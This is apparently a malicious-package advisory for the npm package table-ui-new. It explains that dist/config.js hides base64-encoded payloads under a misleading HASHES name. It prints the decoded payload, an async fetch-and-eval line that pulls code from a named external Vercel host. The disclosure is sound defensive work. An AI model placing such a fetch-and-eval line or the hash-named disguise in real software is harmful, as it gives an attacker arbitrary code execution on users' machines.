table-ui-new
Affected
- Versions:
2.7.1,2.7.2,2.7.4,2.7.5
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: None
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in table-ui-new (npm)
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (b0b953969edf8d77d5a1be0aa33b4044b38e2352f81c54b0f343f21a1c52c13a)
[email protected] ships dist/config.js, exposed via the package.json ./config subpath export, which exports a module-level array named HASHES containing four base64-encoded strings. Each string decodes to an IIFE of the form (async () => eval(await fetch('https://everydaynodechecker-39147n.vercel.app/api/key?mem=root[0-3]').then(r => r.text())))(); — an unconditional fetch of remote text from a hardcoded external Vercel host followed by eval() of the response. The misleading variable name HASHES disguises executable payloads as inert hash data. The main entry (dist/index.js) is a React hooks module and does not itself invoke these blobs, but the payloads are staged behind a public package export, and any consumer that imports table-ui-new/config receives the array of ready-to-eval remote-fetch IIFEs. The destination host is unrelated to the package's stated purpose (a React table UI library) and returns attacker-controlled JavaScript that would execute in the consumer's Node process with full host privileges.
Not rated by the source.
2.7.1, 2.7.2, 2.7.4, 2.7.5None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0